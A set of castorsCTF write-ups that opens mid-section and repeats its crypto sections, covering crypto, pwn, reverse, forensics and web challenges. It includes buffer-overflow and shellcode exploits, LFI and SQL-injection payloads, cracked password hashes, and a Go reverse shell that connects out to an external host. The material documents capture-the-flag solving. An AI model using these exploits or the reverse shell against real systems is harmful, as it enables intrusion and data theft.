> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
